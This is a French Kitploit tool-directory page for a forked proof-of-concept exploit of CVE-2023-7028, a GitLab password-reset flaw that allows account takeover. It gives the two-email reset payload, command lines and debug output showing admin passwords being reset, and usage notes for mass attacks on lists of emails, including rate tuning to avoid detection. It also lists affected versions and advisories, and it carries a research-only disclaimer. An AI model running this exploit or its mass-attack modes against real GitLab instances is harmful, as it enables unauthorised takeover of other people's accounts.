Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-7028 — Ce FORK du dépôt présente une preuve de concept de la CVE-2023-7028. J'améliore uniquement l'utilisation de l'exploit. | Kitploit
Outils/GitHubGitHub/szybnev/cve-2023-7028
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubszybnev/cve-2023-7028

CVE-2023-7028

Ce FORK du dépôt présente une preuve de concept de la CVE-2023-7028. J'améliore uniquement l'utilisation de l'exploit.

Voir le dépôt
11il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-7028 | Prise de contrôle de compte Gitlab

Avertissement

Ce code est une preuve de concept de la vulnérabilité, je n'encourage personne à l'utiliser sur des instances Gitlab qu'ils ne possèdent pas. Cet outil a été développé uniquement à des fins de recherche et d'éducation et je ne pourrai être tenu responsable de tout usage que vous pourriez en faire.

Description

CE DÉPÔT EST UN FORK DE https://github.com/Vozec/CVE-2023-7028. J'améliore seulement l'utilisation de l'exploit.

CVE-2023-7028 fait référence à une vulnérabilité de prise de contrôle de compte qui permet aux utilisateurs de prendre le contrôle du compte administrateur Gitlab sans interaction de l'utilisateur.

La vulnérabilité réside dans la gestion des e-mails lors de la réinitialisation des mots de passe. Un attaquant peut fournir 2 e-mails et le code de réinitialisation sera envoyé aux deux. Il est donc possible de fournir l'adresse e-mail du compte cible ainsi que celle de l'attaquant, et de réinitialiser le mot de passe administrateur. (Gitlab souligne que l'authentification à deux facteurs empêche l'exploitation de cette vulnérabilité, car un attaquant, même après avoir réinitialisé le mot de passe, ne pourra pas se connecter.)

Cette vulnérabilité a été découverte par asterion04

Payload

Voici un exemple de payload

root@kitploit:~
user[email][][email protected]&user[email][][email protected]

POC

Méthode 1 : Utilisation d'un e-mail temporaire (cible unique)

root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW

Méthode 2 : Utilisation d'un e-mail malveillant (cible unique)

root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

Méthode 3 : Utilisation d'une liste d'e-mails depuis un fichier

root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt

[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting full attacks on 806 target(s) with rate limit 10 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Attack completed: 800/806 requests sent, 750/806 passwords reset

Méthode 4 : Mode skip - seulement envoyer les demandes de réinitialisation (plus rapide)

root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt --skip -rps 20

[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting reset requests on 806 target(s) with rate limit 20 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
[DEBUG] Processing target 2/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Reset requests completed: 800/806 successful

Help

root@kitploit:~
$ python3 ./CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL (-t TARGET | -l EMAIL_LIST) [-e EVIL] [-p PASSWORD] [--skip] [-rps RATE_LIMIT]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Gitlab url
-t TARGET, --target TARGET
Target email
-l EMAIL_LIST, --list EMAIL_LIST
File with target emails list
-e EVIL, --evil EVIL Evil email
-p PASSWORD, --password PASSWORD
Password
--skip Skip password reset, only send reset requests
-rps RATE_LIMIT, --rate RATE_LIMIT
Requests per second (default: 10)

Notes d'utilisation

  • Cible unique : Utilisez le paramètre -t pour attaquer une seule adresse e-mail
  • Cibles multiples : Utilisez le paramètre -l pour charger les adresses e-mail depuis un fichier (une par ligne)
  • E-mail malveillant : Sans l'option --evil, le script utilise un service de messagerie temporaire publique pour trouver le lien de réinitialisation (soyez prudent lors des pentests)
  • Mode skip : Utilisez --skip pour seulement envoyer les demandes de réinitialisation sans attendre la réinitialisation du mot de passe (plus rapide pour les attaques de masse)
  • Limitation de débit : Utilisez -rps pour contrôler les requêtes par seconde (par défaut : 10). Des valeurs plus élevées = plus rapide mais plus détectable
  • Format de la liste d'e-mails : Fichier texte brut avec un e-mail par ligne

Exemples

root@kitploit:~
# Single target with custom password
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -p MyCustomPass123

# Mass attack with slower rate limit
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt -rps 5

# Fast reconnaissance - only send reset requests
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt --skip -rps 50

Versions concernées

  • 16.1 to 16.1.5
  • 16.2 to 16.2.8
  • 16.3 to 16.3.6
  • 16.4 to 16.4.4
  • 16.5 to 16.5.5
  • 16.6 to 16.6.3
  • 16.7 to 16.7.1

Références

  • https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  • https://docs.gitlab.com/ee/install/docker.html
  • https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/
Télécharger l’outil